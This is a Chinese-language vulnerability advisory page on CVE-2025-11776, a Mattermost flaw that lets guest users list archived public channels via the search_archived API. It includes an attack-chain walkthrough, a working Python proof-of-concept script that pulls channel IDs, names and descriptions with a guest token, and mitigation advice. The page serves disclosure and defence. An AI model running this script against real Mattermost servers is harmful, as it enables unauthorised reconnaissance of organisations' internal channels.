IPBUF安全漏洞报告
English
CVE-2025-11776 CVSS 4.3 中危

CVE-2025-11776 Mattermost访客用户可发现已归档公共频道信息泄露漏洞

披露日期: 2025-11-14

漏洞信息

漏洞编号
CVE-2025-11776
漏洞类型
访问控制绕过/信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Mattermost

相关标签

访问控制绕过信息泄露权限验证缺陷MattermostAPI安全已归档频道访客账户

漏洞概述

Mattermost是一款开源的企业级团队协作和即时通讯平台。该漏洞存在于Mattermost 11以下版本中,由于系统未能正确限制对已归档频道搜索API的访问权限,导致具有访客(Guest)角色的用户可以通过特定的API端点发现已归档的公共频道信息。攻击者利用`/api/v4/teams/{team_id}/channels/search_archived`接口,在无需特殊权限的情况下即可获取团队中已归档的公共频道列表、频道名称、频道ID等敏感信息。此类信息泄露可能帮助攻击者了解目标组织的团队结构、项目分布和内部沟通渠道,为进一步的攻击活动提供情报支持。漏洞的利用无需用户交互,且攻击复杂度较低,对系统机密性造成一定影响。

技术细节

漏洞根源在于Mattermost的权限验证机制存在缺陷。在正常业务逻辑中,访客用户应当只能访问其被邀请加入的频道,但系统未对`/api/v4/teams/{team_id}/channels/search_archived`端点进行充分的权限校验。该API接口允许用户搜索指定团队中的已归档频道,返回包含频道ID、名称、描述等元数据的结果集。攻击者只需构造带有有效访客令牌的HTTP请求,指定目标团队的team_id,即可获取该团队下所有已归档公共频道的信息。系统未能区分访客用户的实际访问权限与API的响应范围,导致越权访问成功。由于该API直接暴露JSON格式的频道数据,攻击者可以轻易解析并收集目标组织的内部结构信息。

攻击链分析

STEP 1
信息收集
攻击者首先获取目标Mattermost服务器的访客账户访问权限,或通过合法途径注册为访客用户
STEP 2
令牌获取
攻击者使用访客账户登录系统,获取有效的API访问令牌(Bearer Token)
STEP 3
团队识别
攻击者通过其他API端点或社会工程学手段获取目标团队的team_id标识符
STEP 4
API请求构造
攻击者构造恶意的POST请求到/api/v4/teams/{team_id}/channels/search_archived端点,携带有效令牌
STEP 5
数据窃取
系统响应包含该团队下所有已归档公共频道的详细信息,包括频道ID、名称、描述等元数据
STEP 6
情报分析
攻击者整理和分析获取的频道信息,了解目标组织的团队结构、项目分类和内部沟通渠道

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-11776 PoC - Mattermost Archived Channel Discovery # Target: Mattermost versions < 11 # Endpoint: /api/v4/teams/{team_id}/channels/search_archived BASE_URL = "https://target-mattermost-server.com" TEAM_ID = "target-team-id" ACCESS_TOKEN = "guest-user-access-token" def discover_archived_channels(): """ This PoC demonstrates how a guest user can discover archived public channels that they should not have access to view. """ endpoint = f"{BASE_URL}/api/v4/teams/{TEAM_ID}/channels/search_archived" headers = { "Authorization": f"Bearer {ACCESS_TOKEN}", "Content-Type": "application/json" } # Empty payload triggers return of all archived channels payload = {} try: response = requests.post(endpoint, headers=headers, json=payload, verify=False) if response.status_code == 200: channels = response.json() print(f"[+] Successfully discovered {len(channels)} archived channels:") for channel in channels: print(f" - Channel ID: {channel.get('id')}") print(f" Name: {channel.get('name')}") print(f" Display Name: {channel.get('display_name')}") print(f" Description: {channel.get('description')}") print() return channels else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("CVE-2025-11776 PoC - Mattermost Archived Channel Information Disclosure") print("=" * 70) discover_archived_channels()

影响范围

Mattermost < 11

防御指南

临时缓解措施
如果无法立即升级,可通过配置反向代理规则临时限制访客用户对/api/v4/teams/*/channels/search_archived端点的访问。同时加强访客账户的管理,限制其邀请范围和有效期,并密切监控相关API的访问日志,及时发现和阻止异常的数据查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表